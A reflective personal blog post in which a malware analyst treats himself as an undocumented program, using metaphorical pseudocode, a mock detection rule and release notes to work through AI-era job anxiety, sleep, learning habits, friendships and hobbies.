Fumik0

Hack Yourself: Reversing the Program That Came Without a Manual

Fri, 30 Oct 2026 10:00:00 +0100

My job is taking apart things that were built to stay hidden. For years I have opened malicious programs, the kind that steal passwords or hide inside other software, and worked out what they do with no manual and no help from whoever wrote them. It remains the most enjoyable work I know, because it takes all of my attention and all of my curiosity at once, a bit like a hard Rubik's cube, where you hold the whole puzzle in your head, turn one piece and watch what moves.

The same method works far away from any computer. The YouTuber LabCoatz spent a year rebuilding Coca-Cola from taste tests and a mass spectrometer. People who drink it regularly could not reliably taste the difference.

The target is a taste you cannot quite name, rebuilt one molecule at a time. Photo: “Coca-Cola bottles” by DeusXFlorida, CC BY 2.0, via Wikimedia Commons.

The targets are different every time, and the method never changes.

Observe.
Form a hypothesis.
Test it.
Write down what you learn.

For years I only used it on programs. I took malware apart every day and never thought to point the method at anything else, even though everyone uses it when nobody has explained how something works. A child takes a toy car apart to see what makes the wheels turn, someone presses every button on a new washing machine until the right programme starts, and a traveller works out a foreign metro map without reading a word of the language.

The cook is, in my mind, the easiest case to explain, because the evidence is in the dish. A sauce tastes flat, so they add salt and pepper, and taste again. Still flat, so they add acid, a squeeze of lemon, and taste again. Now it is too sharp, so they add a little fat or sugar, and taste again. If it needs heat, chilli and other spices go in near the end, because heat changes what the earlier adjustments taste like. They are tasting forward until the dish matches the one they had in mind. The recipe is what they write down afterwards.

A doctor narrows a different kind of search, and if you have watched House, you have seen it on the whiteboard. House and his team take the patient's full history first: when the pain started, where it moves, what makes it worse, what else is going on. The answers become a differential, the working list of causes that could explain the symptoms. Each test is chosen to strike out the likeliest entries rather than to confirm the first idea, and each result narrows the list until one explanation is left standing.

We run the same loop with people, and it shows most when you are not good at it. I am not, or at least I believe I am not, and I try to get a little better at it every day. Without much experience there is no instinct to fall back on, so you work from the outside. You say something and watch what comes back: a shorter answer, a pause, a laugh, or a laugh that arrives a second too late. A sentence that sounded neutral in your head comes out blunt. A question asked too quickly sounds like an interrogation. So you change the words, the tone or the pace, and you try again on the next exchange.

Some people do this without thinking and read a room the way a good cook tastes a sauce. The rest of us do it on purpose, one reaction at a time.

None of this looks like reverse engineering, which is why I missed the connection for so long. A cook, a doctor and someone nervous at a dinner table are all reading a system from the outside and working back to the part that explains the behaviour.

So I pointed the method at myself. The only way forward I could see was to study myself with the patience I give to a malware sample.

In the end, I was both the program and the person writing its manual.

The words of my job

This post borrows vocabulary from programming and malware analysis. You do not need to learn it first. Skim the list, and come back whenever a word later in the text feels unfamiliar.

What a program is made of

One familiar example runs through this part: the alarm clock app on a phone.

program: A list of instructions that a computer follows exactly, one step at a time. The alarm clock app is one: it is a few thousand instructions that decide what the phone does at 07:00.
function: One named job inside the program. The alarm app has a job called "ring", another called "snooze" and another called "save the time you typed". Each can be read and changed on its own.
call: When one job asks another to do its part. At 07:00 the alarm job calls "ring", and "ring" calls the speaker job. Calls are how small jobs combine into a big result.
public, private: Public functions are the ones the outside world may use, like the snooze button. Private functions are for internal use, like the way the clock counts seconds. Nobody outside can call a private function, although everything inside may depend on it.
import: Something the program borrows instead of building. The alarm app does not make its own clock or speaker, it asks the phone for them.
export: The opposite: a job the program offers to others. When your calendar app can start an alarm for you, it is using something the alarm app exports.
input, output: What goes in and what comes out. The time you type is an input, and the sound at 07:00 is an output.
bug: A step that produces the wrong result, such as an alarm that rings at 06:00 when you set 07:00. It is a fault in the instructions and not a verdict on the person who set it.
log: A plain list of what happened and when, written as it happens, such as "07:00 alarm rang, 07:01 snoozed".
patch: A fix to one step, with the rest of the program left alone.

What I do with one

malware: A program made to harm or spy on whoever runs it, for example one that quietly copies saved passwords. It is what I study for a living.
sample: One copy of a program kept for study, the way a lab keeps a specimen. In this post, "the sample" also means me.
source code, binary: Source code is the readable version a programmer writes, with names and notes. The binary is the finished version that the computer actually runs, which is only numbers. When you install the alarm app you get the binary and never the notes.
reverse engineering: Working out how something was built by taking it apart and watching what it does, without the author's notes. A mechanic listening to an engine does a version of it.
read it, run it: Two ways to study a program. You can read the file without starting it, which is safe and slow, or you can watch it run and see what it does, which is fast and shows more.
debugger, breakpoint: A debugger is a tool for running a program in slow motion. A breakpoint is a spot where you tell it to freeze, so you can look at everything at that exact moment before letting it continue.
register: A tiny slot inside the processor that holds the number it is working on right now. In this post I use the word as a gauge that goes up and down.
detection rule: A short written description of what a known bad file looks like, so that a scanner can spot the next copy. The tool for writing them is called YARA.
git, commit, revert: Git is the tool that keeps every version of a project's files. A commit is one saved change with a note on why, and a revert undoes one change by adding a new one, so the history stays.
mod: A change made to an existing game or program by someone outside the team that built it. Some well-known games started this way.

It has become the most interesting project I have started since the pandemic, and this post is the write-up. It runs in the order of a real analysis, and every part is introduced by a numbered divider of its own, so you always know where you are.

Read the file without running it. That gives the report (0x03 and 0x04) and the detection rule (0x05).
Watch it run, with a log (0x06) and a breakpoint (0x07).
Change it, one small patch at a time (0x08), then check what survives the move (0x09).
Write the release notes (0x0A) and leave something for the next version (0x0B).

Along the way there are a handful of interactive tools to try. Each one is optional, the data inside is an example, and anything you type stays in your browser. A word with a dotted underline explains itself when you hover over it.

Why I started

I wrote before about the daily flood of AI announcements, and it has not slowed since. Many people around me feel lost, as if everything they studied for years has quietly stopped counting. Some have left their jobs to try a different direction, and some have been let go.

Others are watching their companies rebuild themselves around AI one piece at a time, and they are wondering where they fit when the only role that still feels safe is the one directing the tools.

They are far from alone. Among US workers, 48% now think AI might make some or all of their duties obsolete, up from 38% in 2023 and the highest share the survey has recorded.

The internet does not make it easier. A lot of what circulates about AI and jobs is wrong, from misread studies and numbers a chatbot invented to stories pushed on purpose to unsettle people. Reacting to them is normal, but following them down the rabbit hole is the trap, because a feed rewards whatever keeps you scrolling, whether it is true or not.

The most careful evidence I have found comes from payroll records, which count who actually got paid each month, so a mood or a press release cannot move them. Across millions of US workers tracked through June 2026, there is no economy-wide displacement. There is, however, a gap at the entrance. Employment for workers aged 22 to 25 in the most AI-exposed jobs sits 19% below where it would be if it had kept pace with their less-exposed peers, while experienced workers show no comparable gap. The change is happening through hiring rather than firing, and a missing first job is hard to see, because it never appears in any count.

The wider picture is calmer than the mood, because market conditions, closures, restructuring and cost-cutting were each named more often than AI as the reason for 2025 cuts.

None of this helps much if you are the person who lost the job, because a number can be true and still have nothing to say to someone in a room with a manager who has practised the sentence.

What I keep noticing, though, is that the fear runs through people who look stable, people who post confidently and people whose job titles sound safe. If it is happening to all of them, it is not happening because of something you did wrong.

As far as I can see, AI is rarely the whole cause. It is the trigger most people share right now, and it works like fuel. It lands on whatever was already unstable, a job that never felt secure, a confidence that was always borrowed, a year that was already too heavy, and it makes all of it burn faster. That is why this post spends less time on the headlines and more on the program they land on.

In my eyes, we are entering a new technological revolution, and every earlier one changed work on a massive scale. The ground is moving, but it is not moving at random. It moves where a task can be handed to a tool, where a junior's work can be checked by a model, and where a company can delay a hire and still ship. Those are patterns, and a pattern can be studied, which is the only useful optimism I have found.

Underneath the headlines sit the questions most of us would rather not say out loud.

Am I too late?
Did I choose the wrong field?
Is the thing I am good at still worth being good at?
What do I learn next, and who will hire me for it?

The fear shrinks when it becomes specific. "AI will replace me" is not a problem anyone can solve, while "this part of my job is a lookup, this part is a judgement, this part is trust" is a list you can work through. So I did what I always do with something I do not understand yet. I got curious, and I started taking it apart.

Hack, the old meaning

Before opening anything, I had to settle what I meant by hack, because I wanted the curiosity and not the damage. "Hack yourself" can sound aggressive, but the word did not start that way. In the MIT model railroad club of the late 1950s, a hack was a clever piece of work on the club's layout, usually late at night and rarely necessary. The Jargon File still defines a hacker as someone who enjoys exploring the details of programmable systems and stretching their capabilities, and it keeps a separate word, cracker, for someone who breaks in.

In Ghost in the Shell: Stand Alone Complex, the Laughing Man hacks every eye in the room and pastes this logo over his own face, a long way from the model railroad. “Laughing Man” by Cddigi, CC BY-SA 4.0, via Wikimedia Commons.

That is the meaning I have in mind. You take a system apart because you are curious, and then you make it work a little better.

A program with no manual

With that in mind, I imagined myself as a program. This program has no manual, no comments and no changelog, and none of its parts carry a name (a programmer would say it has no symbols). It is a binary, the finished file a computer runs long after the readable version was thrown away, and it starts every morning and produces behaviour.

For a reverser, a binary without documentation is the normal starting point. I have spent years opening files that did not want to be opened: stealers, loaders, miners and the packers that hide them, and later games that were never meant to be taken apart. None of them came with a README. Every one started the same way, with something running and nobody to explain why. The first hours, when nothing makes sense yet, are still my favourite part of the job.

This may sound like a joke, and part of it is. The obvious objection is that a person is not a program, and that looking at yourself like one must feel cold. In practice it worked the other way round, because when you analyse a sample, you are never angry at it for behaving strangely, or almost never. VMProtect (a protector that rewrites code for an imaginary processor of its own) is the exception, and so is the .NET loader with a dozen stages, each one unpacking the next as if the author were paid by the layer. The rest of the time you are curious, and every unusual behaviour becomes a clue.

Take the thought "I am useless now". Read as a fact, it decides how the evening goes. Read as output, "the program is printing I am useless now again", it becomes a line you can look at without obeying it. Psychologists call this move cognitive defusion, and it comes from acceptance and commitment therapy (ACT), which teaches you to notice a thought as a thought instead of treating it as a fact. The usual advice is to argue with the thought, gather the evidence and write a fairer version, and that is a large part of cognitive behavioural therapy (CBT).

At two in the morning, arguing with your own head mostly starts a second argument. Defusion skips that debate, so the line stays in the log while you stop executing it.

The oldest exercise is simpler than it sounds. Over a century ago, the psychologist Edward Titchener noticed that a word said out loud fast enough, "milk, milk, milk", turns into a sound. In a study of eight people, doing this with a negative word about themselves reduced discomfort and believability more than distraction or trying to control the thought. Eight is small, but the trick costs almost nothing to try.

The method rests on two things, which are curiosity instead of a verdict and enough distance to read a sentence about yourself as output rather than as truth. It is also everything I needed before opening the file, because the first thing a program with no manual does is tell you what it thinks of you.

Report: ME.exe

What it thinks of you stays a mood until you take it apart, so I opened the file. When a new sample lands on my desk, I write the same report every time. What is the file? What does it borrow from outside? Which strings does it carry? What does each part do? How do I recognise it next time? This time the sample was me.

I wrote it in the third person. "I failed" sounds like a confession. "The sample failed" sounds like a bug, and a bug has a line number.

What the program needs from outside matters more than its code. A reverser calls this list the imports, and it is often the most revealing part of a file, because a program can only do what it is able to borrow. Sleep comes from the body, and replies come from other people. Every day, four drives (learn(), tinker(), friends() and fun()) compete for a fixed attention budget, and whatever asks first gets served. When an import like sleep is missing, the program keeps running instead of crashing with a clear error, and it fails later, somewhere else.

The sentences it keeps saying to itself are the embarrassing part. A reverser calls them strings, and they are usually the fastest way to understand a sample, because they are the one part of a file written in plain language.

You can run the same triage on your copy below. Tick the strings you have heard yourself say this week, and sort them by what needs attention first. The indicators tab turns your week into a short list of warning signs. The strings are examples, and nothing leaves your browser.

Here are the six findings, in the order the report found them. Each one points at a part and ends with a patch line, and those six lines are what the rest of this post keeps coming back to.

`critic()` Inner critic

critic() is private, so nobody else ever reads it, but its output leaks into everything else. Every time something goes wrong, the sample calls the inner critic. A good error handler logs the fault and moves on. This one writes a verdict about the programmer.

// the inner critic, in sketch
int handle(task_t task)
{
 for (attempt = 0; attempt < 3; attempt++) {
 if (run(task) == OK)
 return OK; // success: logged nowhere
 verdict(self, "this is wrong"); // line 213
 }
 log(task, "failed"); // the fault, no line number
 return FAIL; // and no fix() to go with it
}

// private, but called from everywhere
void verdict(person_t *who, const char *msg)
{
 who->confidence -= 1; // per attempt, not per fault
 schedule(replay, msg, "02:00"); // re-run at night, unprompted
}

The bug is on line 213. The verdict sits inside the retry loop, so one timeout that fails three attempts earns three sentences, and a small slip gets punished like a big one. Moving the line was quick, but finding it took much longer, because every time I looked back at a mistake, the only note I had left myself was "this is wrong", and that note never says which line to move.

A 1793 errata slip: page, fault, fix. There is no column for what the fault says about the printer. Photo: “Errata2pl1793” by Rodak, public domain, via Wikimedia Commons. Resized.

A review that only hands out verdicts also makes the next review something to dread, so you stop looking and the fault stays in the file.

People who are as kind to themselves after a failed test as they would be to a friend are more willing to study for the retake, not less, and across 20 study samples they report less depression, anxiety and stress.

So now every review has to name one specific fix and say nothing about the person. If I cannot find a fix, the review is dropped and only the verdict goes, while the fault stays in the log.

patch verdict() deleted from the retry loop. One fault, one log line, one fix attached.

`learn()` Learning

learn() decides what gets in and what stays. It keeps a queue of things to read, watch and finish, and the queue grows faster than it empties. A long queue feels like progress.

// the reading list, as code
queue_t reading_list = { books, papers, talks, courses };

void learn(void)
{
 while (queue_len(reading_list) > 0) {
 item = peek(reading_list); // never pops
 reread(item); // feels like progress
 highlight(item, YELLOW); // feels like more progress
 if (found_something_new())
 push(reading_list, it); // grows faster than it empties
 }
 // no test here: nothing checks what stayed
}

// recall(): present, never called
bool recall(item_t item)
{
 close(item);
 return write_from_blank_page(item);
}

The loop above re-reads the top of the list forever and never checks what stayed. Language study is where this showed most clearly. In a learning app, every word arrives next to a picture and four possible answers, so after a few months I could pick the right one almost every time. A real menu, however, has no pictures and no answer choices, and the person waiting behind me does not care how long my streak is. The app had trained recognition (spotting the right answer when someone shows it to you), while the menu asked for recall (producing the answer from nothing).

The research on this gap is unusually clear. In a 2008 study, students learned forty Swahili words, and a week later the ones who kept studying a word but stopped testing themselves on it remembered about 36%, while the ones who kept testing themselves remembered about 80%. Re-reading makes a page feel familiar, and familiar is easy to mistake for knowing. Recall forces the brain to rebuild the answer, and that effort is what makes it stay.

The same trap hides in colour-coded notes made for a "visual learner", which have no good evidence behind them. What works is plainer and less pleasant. I read a chapter once, close it, and write down everything I remember on a blank page before I check what I missed. It feels slower than highlighting, but the gaps on that page are the only honest list of what I have not learned yet.

patch Input queue capped. recall() wired into the build as a test that runs after every chapter.

`health()` Health

health() is the private check that every drive depends on, because each drive needs a body that can think. It reads the body's fields and returns a score made of fuel minus the interest on sleep debt, tension and load. When it returns a bad value, nothing reports a health error. What shows up instead is a shorter temper, a rushed decision, a message sent a bit too fast. Each one blames itself, so the real cause stays hidden a level below. Reversers know this pattern well, because the crash is rarely where the fault is. You trace back to whoever supplied the value, and that is why this function is worth checking before blaming anything else.

// health(), what it needs
sleep() the nightly recharge
move() a body that gets used, not only carried
eat() fuel, ideally cooked rather than grabbed
listen() warnings the body sends before it fails
check() an outside reading: a doctor, a blood test

// and what it returns
int health(body_t *b)
{
 int score = b->fuel;
 score -= interest(b->sleep_debt); // compounds every short night
 score -= b->tension + b->load;
 return score; // a low value logs nothing
}

// sleep(), before the patch
void sleep(void)
{
 hours(5); // five hours used to be enough
 episode(1); // one more, it is only midnight
}

Sleep goes first, because every other function reads from it. Mine ran on habits that were easy to start and quietly expensive to keep: five-hour nights, because five hours used to be enough, one more episode at midnight, and a catch-up plan, "I will sleep at the weekend", which sounds sensible and tends to repeat.

Short nights feel free, and that is the trick. In a fourteen-day experiment with 48 healthy adults, people held to four or six hours in bed slowly lost sharpness on attention tasks, while their own sleepiness ratings barely moved after the first few days. They felt fine and performed worse. It works in the other direction too, because a steady, slightly longer night is one of the cheapest upgrades there is.

Movement is the import this file drops first when the week gets busy, which is a pity, because a 2024 review of 218 trials found that walking, jogging and strength training each improved mood by a moderate amount. Food works the same way, only more quietly: one meal a day that is cooked and eaten away from the keyboard tends to pull other things up with it.

Listening is where the body gets a say. It usually mentions things early and politely, through a tight jaw by mid-afternoon, a headache on the same weekday, or waking at 04:20 with nothing to blame. A single one means nothing, but the same one three weeks in a row is worth a note. While general health checks for people with no symptoms make little difference, a visit booked because a warning keeps repeating is the useful one. For mood, NICE lists talking therapies, guided self-help and group exercise among the first options, so asking for help does not have to mean medication on day one.

The clock says 6:37. The photographer sets it seven minutes fast, so it is really about half past. Photo: “Sony Dream Machine at 6:37am” by arvind grover, CC BY-SA 2.0, via Wikimedia Commons. Resized.

patch health() returns better values. The wake time stays put, the phone charges outside the bedroom, the body gets moved and fed on purpose, and a warning that repeats gets an outside reading.

`tinker()` Tinkering

tinker() builds things nobody asked for. It takes apart radios, writes scripts to rename files, and once spent three weekends teaching a kettle to play two notes.

kettle.log
run 1 6h00 £0.00 relay clicks, does not latch
run 2 4h00 £4.20 wrong pitch: the delay loop was timed for 60 Hz mains
run 3 5h40 second note lands 40 ms late
parts relay from a doorbell that never worked, a board,
 speaker from a radio taken apart at fourteen
known relay sticks below 10 °C; second note slightly flat;
 do_it_again(), which nobody should read

Run 3 still lands the second note 40 ms late, and it is still slightly flat, and I count that as shipped.

When this section stops, nothing breaks. It keeps reading and watching, and it stops making. What goes missing is the belief that it can still build things. Flow needs a clear next step, quick feedback and a task slightly too hard (Sweeny et al., 2026), and having a hobby with no deliverable attached is one of the simplest ways to get it back (Mak et al., 2023).

A workbench mid-project, with nothing on it that anyone asked for. Photo: “Electronics workbench” by James Bastow, CC BY-SA 2.0, via Wikimedia Commons. Resized.

Open the smallest unfinished thing on your drive and make it one step less broken. No new project, no rewrite, no domain.

patch One unfinished thing opened, made one step less broken, and closed.

`friends()` Friends

friends() is the network code, which covers every connection to another person. Most of the traffic is tiny, a photo or a single line. Mine treats every reply like a report, so every reply feels expensive. Here is one thread, logged like network traffic, with arrows for which way each message went.

friends.log, one thread
03 Oct 09:04 <- photo: a greyhound in a plastic cone
 "he's fine. just dramatic."
 read, no reply
24 Oct 23:41 -> "alive. what has he eaten now."
24 Oct <-> call, 41 min, mostly about the dog

Twenty-one days without sending a reply, and the other side never complained and never gave up on the thread. One line costs nothing, and every day of waiting makes the next line harder to send.

People reliably expect a conversation to go worse than it does. The call I dreaded lasted 41 minutes, mostly about the dog, and I would take that trade again. Long-term studies like the Harvard Study of Adult Development and the Surgeon General's advisory say plenty about relationships and health, but the fifteen-cigarettes figure for loneliness never made me reply. A dog in a cone did.

patch One line sent today.

`fun()` Fun

Since what fun() produces cannot be read from the file, here is what it does when it runs.

Games are my main fuel, and Persona 5 Royal is the one I keep coming back to. It runs for more than a hundred hours, spread over months of evenings, and when the credits roll you sit there with an empty feeling, the kind you only get when something was good enough to miss. Expedition 33 did that to me again in 2025, just not quite as hard. That empty feeling is the opposite of the NOPs below, because it shows that every call was running.

Games are the biggest input, although not the only one. Anime and TV shows do the same thing in smaller doses, with a few characters to follow for weeks and an episode waiting at the end of a long day. Cooking is the taste-and-adjust loop from the cook above, with the bonus that you get to eat the result, and so does whoever is at the table.

Modding the Resident Evil games I keep replaying uses the skills from my job with none of its deadlines. The gym is the newest addition, and the strangest one, because it is where the head finally goes quiet. There is no room to think about anything else while you lift, and a weight that felt heavy last month slowly stops being heavy.

None of it is big, because the fun sits in the details, and when a month goes badly, the details are the first thing to disappear.

// an ordinary evening, during a bad month
void evening(void)
{
 play(game); // still runs, the last call standing
 nop(); // taste(dinner): eaten, not tasted
 nop(); // watch(episode): playing, not watched
 nop(); // cook(for_two)
 nop(); // lift(); log(weight)
 nop(); // notice(progress)
 scroll(phone); // fills the gaps, returns nothing
} // nothing crashes, so nothing reports

Nobody decides this, because while something else takes all the attention, the brain patches those calls out on its own. The dinner still gets eaten and the episode still plays, but nothing registers, and because nothing crashes, you do not notice. From the outside the function looks intact. I only saw the NOPs when I sat down and read it the way I would read a sample.

Putting the bytes back is slower than taking them out, and it happens one call at a time, through a dish cooked properly instead of eaten over the keyboard, an episode watched without a phone in your hand, a note of what you lifted so next month has something to compare against.

patch Original bytes restored. Dinner, episodes and the gym are back in the call graph, the map of what calls what.

Detection

Every malware report ends the same way, with a rule to catch the sample the next time it turns up. In my world that is usually YARA, a few strings and a condition, and when a file matches, someone goes and looks. This report is about me, so I wrote one about me.

rule ME_exe_2026_10
{
 meta:
 description = "the analyst, on a bad week"
 response = "stop and check the function the hit points to"
 strings:
 $critic = "this is wrong" // critic(), before the patch
 $behind = "I am behind on everything" // health()
 $wake = "woke at 04:20" // health()
 $friends = "he's fine. just dramatic." // friends(), still unanswered
 $taste = "food that tastes of nothing" // fun(), before the patch
 condition:
 2 of them
}

Read from the top, the rule lists five sentences and fires when any two of them turn up in the same week. Most of the rule is sentences from the head, but two lines come from the body, and the body usually speaks first: waking at four for no reason, a tight jaw at the desk, eyes burning by eleven, food that tastes of nothing, a short answer to someone who did not deserve it. All of them arrive long before the head is ready to admit that a function is running low.

Anyone who has snoozed the same phone alarm every morning knows what happens to an alert that fires every day and gets ignored. People stop reading it, and then they stop seeing it. A body trains you the same way. Ignore the signal long enough and it fades into the background, until it comes back louder: a cold that lasts three weeks, a hobby that stopped being fun, a friend you have not heard from in months.

So when the rule fires, I treat it like any other alert and go and look. The string says which function is short, and the fix is usually small and a bit boring, such as an early night, the one-line message, an evening handed back to a game. The triage window earlier builds the same list from your own week, if you want yours.

If you keep only one function, keep fun(). There will never be a week with spare time for it.

A rule only recognises patterns someone has already written down. It says nothing about behaviour nobody has named yet, and most of what matters is still unnamed. For that you stop reading the file and watch it run.

Watching it run

So far I had only read the file, which a reverser calls static analysis. The report says what each part is supposed to do, and the rule says what a bad week looks like, but neither shows the program actually running. For that, the standard approach is dynamic analysis, which means you provide inputs, log the outputs, and then work out how the two are connected.

I applied the same approach to myself. The inputs were sleep, news, social feeds, people, work and projects, while the outputs were my mood, my energy, my focus, the work I shipped and the way I spoke to the people I care about.

Dynamic analysis means sitting in front of the panel, changing one input and watching every needle. Photo: “PS Main Control Room, 1974” by CERN PhotoLab, CC BY-SA 4.0, via Wikimedia Commons. Resized.

The loop is the same one behavioural activation uses. When a mood drops, the obvious response is to stop doing things, and stopping removes the small evidence that anything can change. A bad morning cancels the walk, the missing walk makes the afternoon flatter, and the flat afternoon cancels the evening plans. Behavioural activation reverses that order, so you plan one small action, run it, and let the result update the mood rather than waiting for the mood to permit the action. It is recommended for depression in UK clinical guidance, and in a large head-to-head trial it held up against cognitive therapy and medication. The cognitive model behind CBT keeps a similar record: what happened, what you assumed, what the evidence shows, and what you will try next.

Pick a day below, run it, and watch which inputs move the registers, the five counters the tracer keeps for energy, mood, focus, connection and joy.

What the log showed

What surprised me most was how much was working. In the example day above, most inputs push a register up. When you only listen to the noise, you only notice bugs. When I logged mine, I found features I had never documented. The Jargon File even has a joke for this, defining a feature as a bug that has been documented, and half of what I called flaws turned out to be behaviour I had never written down.

A log does not stop you sending the sharp reply at 09:30, though. Seeing where a function fails and catching it while it fails are two different jobs, and the second one needs a breakpoint.

The breakpoint

You already know what a breakpoint is, even if you have never opened a debugger. Pausing a game to check your health before the next room is a breakpoint, and so is a time-out in a match, or hovering over the send button to read a message one last time.

Programmers use the same idea on purpose. A debugger lets them run a program slowly and look inside it, and a breakpoint is a stop sign placed on one specific line. When the program reaches that line, it freezes with everything still in place, so you can read what it is holding, see what it is about to do, and then let it carry on from exactly where it stopped.

The moments I regret are reactions rather than decisions, such as the verdict on line 213, the sharp answer before ten or one more episode at midnight. Reactions run fast, because a message, a headline or a comment arrives and a reply is already on its way before you have decided anything. The useful part is the gap between the event and the response, however short, because that gap is where the breakpoint goes.

While the program is frozen, a debugger lets you read its variables, the values it is holding at that moment. A person in the middle of a reaction is holding four: the feeling (naming it in a word or two can take some of its intensity away), the story you are telling about what just happened, what you actually know, and the options you have. In a hurry they blur into one, but once they are separated they come apart quickly.

The widget below runs the same pause on six ordinary moments. Press Step to go one stage at a time, and compare it with the run that has no breakpoint.

A breakpoint does not need to be dramatic. It can be one breath with your hands off the keyboard, a glass of water, or a sentence typed into a notes app instead of the reply box. You will forget on some days, and the program will run straight through the line you were worried about. Go back and read what happened afterwards, repair what needs repairing, and place the stop sign one line earlier next time. For me it turned out to be the most useful technique of all: one breath before the angry reply, the fourth thread of the evening or the yes I have no time for, and the evening goes differently.

A breakpoint buys one second in which the program is paused and nothing has happened yet. What you do with that second is a change, and a change has to be shipped.

Small patches, no rewrite

The six patch lines in the report were already commits. In git (the tool programmers use to track every version of their code), a commit is one saved change with a short message explaining why, and each of those patches changed one thing and could be undone without touching the others. I had been working that way at my desk for years, just never on myself.

"Get healthier" is a resolution. "When I close the laptop, I put on my shoes and walk for ten minutes" is a commit, because it is one change tied to one cue, with a reason you could write in the message. Psychologists call the second kind an implementation intention (Gollwitzer & Sheeran, 2006; 2024). It works because the decision is made in advance, so when the laptop closes there is nothing left to decide.

If a change does not work, I revert it. In git that adds a commit which undoes the old one, so the history stays, and a failed experiment becomes a line that says "tried this, learned that". The next commit is better for it.

Plutarch records an old puzzle about the ship of Theseus. The Athenians kept replacing its rotten planks over the years, and people argued about whether it was still the same ship. Git, however, keeps the old planks.

Why a small patch feels like nothing

There is a catch, and it is the reason small patches are so easy to skip. When I am overwhelmed, the part of me that decides what counts as relief stops registering small things. Answering one message, cooking one real meal or walking for ten minutes does not feel like anything, because the threshold (the size a task must reach before it feels like a win) has crept upward until only a colossal task can pay out: fix the whole career, clear the whole backlog, become a different person. Those tasks are almost impossible to finish, so the relief never arrives, and the real tasks in front of me keep counting for zero.

The fix is to lower the threshold a little at a time by writing down each small finish when it happens, because the brain no longer does it for me.

You never get the source code of yourself, only the binary. For a long time that felt like a limitation, until I remembered how much of my favourite software came from people who did not have the source either. Counter-Strike started in 1999 as a Half-Life mod made by two people. Defense of the Ancients began as a Warcraft III custom map and was rebuilt by Valve as Dota 2, and PUBG began with a battle royale mod for ARMA 2. Modders patch a function here, replace a texture there and add an item without breaking the save, and some mods end up better than the original game. Every patch in this post was a mod of that kind: a small edit to a binary I did not write and could not rebuild.

The skills did not die

The patches worked, and the fear stayed. So I asked what I had used to build them. Before AI, the advice to newcomers in security was always the same. Learn to read code first, and only then learn to read code that does not want to be read.

Those skills did not disappear. No model has taken observing before judging, forming and testing a hypothesis, writing everything down, changing one thing at a time, or staying patient at 2 a.m. with something that does not want to be understood, and together they are the part of my work I use most. None of it was ever about malware either. A training log, a budget and a project diary all write things down for their owner, and the kettle log in the report is one hypothesis tested three times. I cannot promise that these skills protect a job. What they did for me was turn a mood into a list I could work through, and once there was a list, there was a next step.

Skills do not transfer automatically, though (Perkins & Salomon, 1992). They travel when you name the principle behind what you did and deliberately apply it somewhere new, and when you take the time to reflect and write down what worked.

The same job on a model he has not seen before. Near transfer is the unglamorous kind, and it is most of what experience is for. Photo: “Car mechanic worker repairing suspension of lifted automobile at auto repair garage shop” by Shixart1985, CC BY 2.0, via Wikimedia Commons. Resized.

The export table

The report started with the imports, everything the program needs from outside, and the export table is the other side. A DLL, a library other programs load, is useful to them through what it exports. The four drives are how the program runs, and none of them is in the export table. The exports are what another team can call. "What transfers" is the same question asked about a person.

the analyst, exports

exported
 triage() rank by what changes the answer, not by what is easy to start
 report() the finding, written so the next person can act on it
 tool() the smallest script that answers one question
 read() an unfamiliar system, from the outside, with no manual
 commit() one change at a time, with the reason attached
 revert() undo a change, history kept

private
 tool_shortcuts tool-specific, rots with the licence
 case_notes useful until the family is renamed
 all_nighter the patience travels; the hours do not
 job_title the artefacts travel, the title does not

The first list is a method. It still works at a new employer, in a new language, a decade later. The second is inventory, which is real, expensive to build, and worth little outside the job that produced it.

The catch is the 19%, because none of this shows on the surface. A CV says "reverse engineering" and leaves a hiring manager with nothing to look at. A write-up of a sample, a rule that fires on a real family, or a small tool someone still uses are things someone else can check. The gap is at the entrance, and the study cannot say why. My guess is that the people standing there have the least to show, because the work that leaves a record is the work they have not been hired to do yet.

So the fourth question splits in two. I cannot say who will hire me, and neither can a post. What I can show them does have an answer, and it is the export table, made public one artefact at a time.

The questions from the opening

Three are answerable, and the fourth is half answerable.

Am I too late? No, because I was already doing this work before I had a name for it.
Did I choose the wrong field? No, because the skills travel and the field was never the whole story.
Is the thing I am good at still worth being good at? As a method, yes, even while the tools change every quarter.
What do I learn next, and who will hire me for it? Only half of it has an answer. Learn the next method that travels instead of the next tool that expires. The hiring half stays open, and the showing half is the export table.

What I can do is make the next attempt less blind, by making one export visible.

Release notes

A changelog is where change becomes visible. At the start of this post, the program had no changelog, and this section gives it one. Every line but the known bug is a patch mentioned earlier, collected the way you would collect a diff. One month is too short to claim results, so the notes only record what changed, and mine came out like this.

A ship's log, written one watch at a time by whoever was on duty. No conclusions, only entries. Photo: “PT-109 Logbook Entry April 1, 1943”, US Navy, public domain, via DPLA and Wikimedia Commons. Resized.

ME.exe v2026.10
 Added tinker(): one unfinished thing opened, made one step less broken
 Fixed verdict() deleted; one log line per fault, with a fix
 Fixed five-hour habit retired; the wake time no longer moves
 Fixed input queue capped; recall() runs after every chapter
 Fixed fun() put back in the call graph
 Changed one line sent to the thread open since October
 Known still overthinks at 2 a.m.; workaround: write it down, sleep

Software makes this easy, because the diff (the list of exactly what changed between two versions) is right there. A person's diff is spread out, so you have to go and collect it. Most of the evidence already exists.

Something you wrote a year ago, a message, a note or a post. If it makes you wince a little, the version that wrote it is no longer running.
An old photo or video. The face is close to the same. The room, the posture and the people around you have moved.
A book you read twice. The book did not change between readings, so whatever you noticed the second time is the diff.
A project folder sorted by date: the first commit, the first thing that worked, the first person who used it.

Pick the window on purpose. A day is too short and the diff looks empty, which is why bad days feel permanent. A week shows habits, a month shows a direction, and a year is where most of the change hides.

Write the notes once a month and read the old ones once a year.

Next version

The fear from the opening was reasonable, and it will come back with the next headline. I look at it differently now. One month of reading myself like a sample gave me a forty-one-minute call about a dog, a kettle that plays two notes slightly flat, evenings that taste of something again, and a file I know how to read. When the rule fires again, I will find what fired it and set a breakpoint on send() before I reply to anything.

The ground moves, and for everyone else it is Tuesday. Street Fighter (1994), dir. Steven E. de Souza.

You do not need to be a reverse engineer to do any of this. You need one thing that is slightly broken, and the patience to keep looking at it.

A note before you go: this is a way of looking at yourself, not a treatment. If things feel heavier than a bad week, talk to someone you trust or to a professional. If you are in danger, helplines are free and confidential, and Find A Helpline lists services in more than 175 countries, including 988 in the US, Samaritans on 116 123 in the UK and Ireland, and 3114 in France.

NDLR · AI helped me turn my draft and ideas into the article you just read. The experience, the opinions and the mistakes are mine. Thanks for reading.

Sources

Image credits

“Car mechanic worker repairing suspension of lifted automobile at auto repair garage shop” by Shixart1985, CC BY 2.0, via Wikimedia Commons. Resized.
“PT-109 Logbook Entry April 1, 1943”, US Navy, public domain, via DPLA and Wikimedia Commons. Resized.
